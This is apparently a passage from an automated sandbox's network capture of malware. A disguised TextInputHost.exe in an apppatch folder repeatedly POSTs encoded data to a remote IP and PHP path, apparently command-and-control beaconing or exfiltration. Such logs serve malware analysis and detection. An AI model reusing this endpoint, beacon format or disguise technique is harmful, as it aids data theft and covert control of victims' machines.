Apr 2, 2024 23:43:43.685174942 CEST	1868	OUT	Data Raw: 5f 58 58 56 50 44 54 58 5d 5c 52 54 56 56 50 52 59 50 5f 5c 52 5d 57 5b 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _XXVPDTX]\RTVVPRYP_\R]W[P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$:[!Z53!W:&9+X+-5P?+? (])9Y /P,$
Apr 2, 2024 23:43:43.977627993 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 24 0c 29 26 34 01 20 38 0a 1e 2b 21 39 0f 27 51 21 5f 38 10 29 5b 29 39 06 05 2d 38 33 07 21 5e 2b 5a 3f 0a 31 5c 32 00 3b 00 27 1d 2b 59 01 13 26 03 3f 02 01 0e 31 31 27 54 26 2b 31 04 30 24 3f 42 29 28 2b 09 27 3e 3d 56 3f 30 38 5d 2b 1d 0f 56 28 39 3b 13 2c 02 3e 01 35 34 2a 5e 0c 17 21 0f 28 29 2b 5e 25 24 2b 05 3e 0c 3b 1c 29 35 30 12 29 2a 37 54 26 3c 13 5f 3e 01 24 57 26 13 32 0f 29 3e 3e 0e 37 0c 2f 1c 29 12 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: $)&4 8+!9'Q!_8)[)9-83!^+Z?1\2;'+Y&?11'T&+10$?B)(+'>=V?08]+V(9;,>54^!()+^%$+>;)50)7T&<_>$W&2)>>7/)'] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49827	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:43.645486116 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:43.929111958 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:43.955081940 CEST	2552	OUT	Data Raw: 5a 5a 5d 57 55 45 54 5a 5d 5c 52 54 56 53 50 55 59 5a 5f 5c 52 59 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: ZZ]WUETZ]\RTVSPUYZ_\RYW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'.)^"0&["W63)/]=8':37#;>) <94488Z*9Y /P,0
Apr 2, 2024 23:43:44.247252941 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49828	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:44.793687105 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:43:45.070272923 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:45.070452929 CEST	2552	OUT	Data Raw: 5a 5b 5d 5c 55 46 51 5b 5d 5c 52 54 56 57 50 53 59 55 5f 56 52 5a 57 5c 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z[]\UFQ[]\RTVWPSYU_VRZW\P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'^9-1_" "Y!1-_$(=+ X-4"6(0!Z?#8[=9Y /P,
Apr 2, 2024 23:43:45.355011940 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49829	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:45.757509947 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:46.041281939 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:46.041500092 CEST	2552	OUT	Data Raw: 5f 5e 5d 55 55 46 54 5d 5d 5c 52 54 56 57 50 54 59 51 5f 59 52 5f 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _^]UUFT]]\RTVWPTYQ_YR_WZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$->5X6U-51:'*/Y?8$Z, +\"(+!X+)?#(0(=9Y /P,
Apr 2, 2024 23:43:46.332088947 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49830	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:46.738323927 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:47.021035910 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:47.021454096 CEST	2552	OUT	Data Raw: 5a 5a 58 51 50 42 51 5a 5d 5c 52 54 56 50 50 50 59 52 5f 57 52 5f 57 50 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: ZZXQPBQZ]\RTVPPPYR_WR_WPP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$..)63=#!]'#)79#"(>U?3!*97#(<]==9Y /P,<
Apr 2, 2024 23:43:47.314625025 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49831	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:47.717983961 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:47.998214960 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:47.998394966 CEST	2552	OUT	Data Raw: 5f 58 5d 57 50 40 51 59 5d 5c 52 54 56 51 50 52 59 55 5f 58 52 5e 57 59 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _X]WP@QY]\RTVQPRYU_XR^WYP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'\9-"5#.[61Y'4((-07\6((V%<:,@49Y /P,8
Apr 2, 2024 23:43:48.283857107 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49832	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:48.685424089 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:48.963079929 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:48.963304996 CEST	2548	OUT	Data Raw: 5f 5c 58 57 55 43 54 5f 5d 5c 52 54 56 55 50 57 59 53 5f 5b 52 5c 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _\XWUCT_]\RTVUPWYS_[R\WXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$,=2661')/^>;'.3+\"+6T< *94B4>=9Y /P,
Apr 2, 2024 23:43:49.251622915 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49833	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:49.271473885 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:49.553580999 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:49.553900003 CEST	1868	OUT	Data Raw: 5f 5c 58 54 55 42 51 5a 5d 5c 52 54 56 5d 50 5d 59 53 5f 57 52 52 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _\XTUBQZ]\RTV]P]YS_WRRW]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___',>!" -5W5]$\?;;9386"+05[?(C"8#*=9Y /P,
Apr 2, 2024 23:43:49.842076063 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 24 09 2b 1c 37 5a 21 3b 34 55 3f 31 2a 1f 25 34 35 5d 2f 00 22 02 2b 00 27 14 2d 02 20 5e 20 3b 2b 5c 3f 55 2e 02 26 58 33 03 24 0d 2b 59 01 13 25 5e 3c 2c 0e 52 26 32 05 57 26 01 3a 59 30 27 09 45 29 3b 34 1d 27 3d 3d 55 2b 1d 09 02 28 30 22 08 29 07 38 03 2d 2c 25 59 36 0e 2a 5e 0c 17 21 0d 28 29 3f 5f 25 0e 20 5a 2a 32 20 06 2b 18 2c 5b 3d 2a 23 12 32 02 25 59 2a 11 1a 1c 32 3e 2d 54 3d 3d 0b 57 23 31 33 1f 2a 02 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: $+7Z!;4U?1%45]/"+'- ^ ;+\?U.&X3$+Y%^<,R&2W&:Y0'E);4'==U+(0")8-,%Y6^!()?_% Z2 +,[=#2%Y2>-T==W#13'] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49834	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:49.399516106 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:49.684576988 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:49.684864998 CEST	2548	OUT	Data Raw: 5f 5e 58 53 50 43 54 5a 5d 5c 52 54 56 55 50 5c 59 52 5f 5e 52 52 57 5c 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _^XSPCTZ]\RTVUP\YR_^RRW\P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___':>.6U2X"=X$)+)8;958+ .(* \)9Y /P,
Apr 2, 2024 23:43:49.976154089 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49835	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:50.377434969 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue
Apr 2, 2024 23:43:50.659492016 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:50.659784079 CEST	2548	OUT	Data Raw: 5f 5b 58 53 50 45 51 5b 5d 5c 52 54 56 55 50 5d 59 56 5f 5f 52 5a 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _[XSPEQ[]\RTVUP]YV__RZW]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'^:[.!:Y#1'_ >;#, $6;:?3*(9(A4^7=-9Y /P,
Apr 2, 2024 23:43:50.947632074 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49836	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:51.347758055 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:51.630845070 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:51.631031036 CEST	2552	OUT	Data Raw: 5f 5d 58 51 50 42 54 5f 5d 5c 52 54 56 5d 50 55 59 52 5f 58 52 5a 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _]XQPBT_]\RTV]PUYR_XRZW^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'Y.="5-"!$,Y.#]6(5+)Y+\7##9Y /P,
Apr 2, 2024 23:43:51.919606924 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49837	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:52.324990034 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:52.601281881 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:52.601492882 CEST	2552	OUT	Data Raw: 5f 5a 58 51 55 43 51 51 5d 5c 52 54 56 50 50 55 59 56 5f 56 52 59 57 5b 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _ZXQUCQQ]\RTVPPUYV_VRYW[P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'Y.5^"#2:$>^4:U7_!8<+;77=-9Y /P,<
Apr 2, 2024 23:43:52.883327007 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49838	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:53.291282892 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:53.570405006 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:53.570580006 CEST	2552	OUT	Data Raw: 5f 5d 5d 54 55 46 54 58 5d 5c 52 54 56 51 50 54 59 53 5f 5d 52 5a 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _]]TUFTX]\RTVQPTYS_]RZW]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___']9=!Y 3X#2907?;<_-#!(-(V)(*4;$Z>9Y /P,8
Apr 2, 2024 23:43:53.855355978 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49839	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
